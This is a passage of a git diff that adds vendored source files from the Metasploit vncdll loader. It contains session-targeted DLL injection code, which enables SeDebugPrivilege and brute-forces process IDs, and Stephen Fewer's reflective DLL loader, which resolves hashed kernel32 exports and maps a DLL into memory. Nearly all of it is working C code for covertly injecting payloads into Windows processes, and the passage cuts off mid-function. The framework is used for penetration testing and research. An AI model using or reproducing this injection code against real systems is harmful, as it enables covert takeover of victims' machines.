DWORD ps_getnativearch( VOID )
{
HANDLE hKernel = NULL;
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
SYSTEM_INFO SystemInfo = {0};
do
{
// default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system.
dwNativeArch = PROCESS_ARCH_X86;
hKernel = LoadLibraryA( "kernel32.dll" );
if( !hKernel )
break;
pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" );
if( !pGetNativeSystemInfo )
break;
pGetNativeSystemInfo( &SystemInfo );
switch( SystemInfo.wProcessorArchitecture )
{
case PROCESSOR_ARCHITECTURE_AMD64:
dwNativeArch = PROCESS_ARCH_X64;
break;
case PROCESSOR_ARCHITECTURE_IA64:
dwNativeArch = PROCESS_ARCH_IA64;
break;
case PROCESSOR_ARCHITECTURE_INTEL:
dwNativeArch = PROCESS_ARCH_X86;
break;
default:
dwNativeArch = PROCESS_ARCH_UNKNOWN;
break;
}
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwNativeArch;
}

77
external/source/vncdll/loader/ps.h vendored Normal file
View File

@ -0,0 +1,77 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_PS_H
#define _VNCDLL_LOADER_PS_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
typedef HANDLE (WINAPI * CREATETOOLHELP32SNAPSHOT)( DWORD dwFlags, DWORD th32ProcessID );
typedef BOOL (WINAPI * PROCESS32FIRST)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
typedef BOOL (WINAPI * PROCESS32NEXT)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE hProcess, PBOOL Wow64Process );
#define PROCESS_ARCH_UNKNOWN 0
#define PROCESS_ARCH_X86 1
#define PROCESS_ARCH_X64 2
#define PROCESS_ARCH_IA64 3
//===============================================================================================//
typedef struct _PROCESS_BASIC_INFORMATION
{
PVOID Reserved1;
PVOID PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef struct _DLL_BUFFER
{
LPVOID lpPE32DllBuffer;
DWORD dwPE32DllLenght;
LPVOID lpPE64DllBuffer;
DWORD dwPE64DllLenght;
} DLL_BUFFER;
//===============================================================================================//
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer );
DWORD ps_getarch( DWORD dwPid );
DWORD ps_getnativearch( VOID );
//===============================================================================================//
#endif
//===============================================================================================//

198
external/source/vncdll/loader/session.c vendored Normal file
View File

@ -0,0 +1,198 @@
#include "loader.h"
#include "session.h"
/*
* Returns the session id associated with a process.
* Returns -1 if we cant determine the session id (e.g. insufficient privileges).
* Returns 0 by default on NT4.
*/
DWORD session_id( DWORD dwProcessId )
{
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pProcessIdToSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
}
if( !pProcessIdToSessionId )
break;
if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) )
dwSessionId = -1;
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* Returns the session id attached to the physical console.
* Returns 0 by default on NT4 and 2000.
*/
DWORD session_activeid()
{
typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID );
static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pWTSGetActiveConsoleSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
}
if( !pWTSGetActiveConsoleSessionId )
break;
dwSessionId = pWTSGetActiveConsoleSessionId();
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
*/
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
DWORD pid = 0;
do
{
for( pid=0 ; pid<0xFFFF ; pid++ )
{
HANDLE hProcess = NULL;
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
if( !hProcess )
continue;
CloseHandle( hProcess );
if( dwSessionId == session_id( pid ) )
{
dwResult = ps_inject( pid, pDllBuffer );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
break;
}
}
}
} while( 0 );
return dwResult;
}
/*
* Inject an arbitrary DLL into a process running in specific Windows session.
*/
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
PROCESS32FIRST pProcess32First = NULL;
PROCESS32NEXT pProcess32Next = NULL;
HANDLE hProcessSnap = NULL;
HMODULE hKernel = NULL;
HANDLE hToken = NULL;
BOOL bUseBruteForce = TRUE;
PROCESSENTRY32 pe32 = {0};
do
{
// If we can, get SeDebugPrivilege...
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
TOKEN_PRIVILEGES priv = {0};
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
{
if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
}
CloseHandle( hToken );
}
hKernel = LoadLibrary( "kernel32" );
if( !hKernel )
break;
pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" );
pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" );
if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next )
break;
hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
break;
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !pProcess32First( hProcessSnap, &pe32 ) )
break;
bUseBruteForce = FALSE;
do
{
if( dwSessionId == session_id( pe32.th32ProcessID ) )
{
// On Windows 2008R2 we Blue Screen the box if we inject via APC injection
// into the target sessions instance of csrss.exe!!! so we filter it out...
if( strstr( pe32.szExeFile, "csrss.exe" ) )
continue;
dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
break;
}
}
} while( pProcess32Next( hProcessSnap, &pe32 ) );
} while( 0 );
if( hProcessSnap )
CloseHandle( hProcessSnap );
if( hKernel )
FreeLibrary( hKernel );
// On NT4 we must brute force the process list...
if( bUseBruteForce )
dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer );
return dwResult;
}

42
external/source/vncdll/loader/session.h vendored Normal file
View File

@ -0,0 +1,42 @@
// Copyright (C) 2006-2010, Rapid7 LLC
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * Neither the name of Rapid7 LLC nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_SESSION_H
#define _VNCDLL_LOADER_SESSION_H
//===============================================================================================//
#include "ps.h"
DWORD session_id( DWORD dwProcessId );
DWORD session_activeid();
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer );
//===============================================================================================//
#endif
//===============================================================================================//

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,457 @@
//===============================================================================================//
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#ifdef _WIN64
#pragma intrinsic( _ReturnAddress )
UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
#endif
//===============================================================================================//
/*
* Use Reflective DLL Injection.
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA;
GETPROCADDRESS pGetProcAddress;
VIRTUALALLOC pVirtualAlloc;
USHORT usCounter;
// the initial location of this image in memory
UINT_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
UINT_PTR uiBaseAddress;
// variables for processing the kernels export table
UINT_PTR uiAddressArray;
UINT_PTR uiNameArray;
UINT_PTR uiExportDir;
UINT_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
UINT_PTR uiHeaderValue;
UINT_PTR uiValueA;
UINT_PTR uiValueB;
UINT_PTR uiValueC;
UINT_PTR uiValueD;
// STEP 0: calculate our images current base address
// we will start searching backwards from our current EIP
#ifdef _WIN64
uiLibraryAddress = eip();
#else
__asm call geteip
__asm geteip: pop uiLibraryAddress
#endif
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while( TRUE )
{
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef _WIN64
uiBaseAddress = __readgsqword( 0x60 );
#else
uiBaseAddress = __readfsdword( 0x30 );
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
// get pointer to current modules name (unicode string)
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror( (DWORD)uiValueC );
// normalize to uppercase if the madule name is in lowercase
if( *((BYTE *)uiValueB) >= 'a' )
uiValueC += *((BYTE *)uiValueB) - 0x20;
else
uiValueC += *((BYTE *)uiValueB);
uiValueB++;
} while( --usCounter );
// compare the hash with that of kernel32.dll
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
{
// get this modules base address
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
break;
}
// get the next entry
uiValueA = DEREF( uiValueA );
}
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find
while( usCounter > 0 )
{
// compute the hash values for this function name
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
{
// get the VA for the array of addresses
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == GETPROCADDRESS_HASH )
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
else if( dwHashValue == VIRTUALALLOC_HASH )
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory.
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all imports
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present
while( DEREF(uiValueA) )
{
// sanity check uiValueD as some compilers only import by FirstThunk
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// get the VA of this functions import by name struct
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
// get the next imported function
uiValueA += sizeof( UINT_PTR );
if( uiValueD )
uiValueD += sizeof( UINT_PTR );
}
// get the next import
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries...
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
// uiValueA = the VA for this relocation block
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while( uiValueB-- )
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof( IMAGE_RELOC );
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
/*
// uiValueB = the address of the relocation directory
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
// check if their are any exception etries present
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
// get the number of entries
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// itterate through all entries
while( uiValueA-- )
{
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
// get the next entry
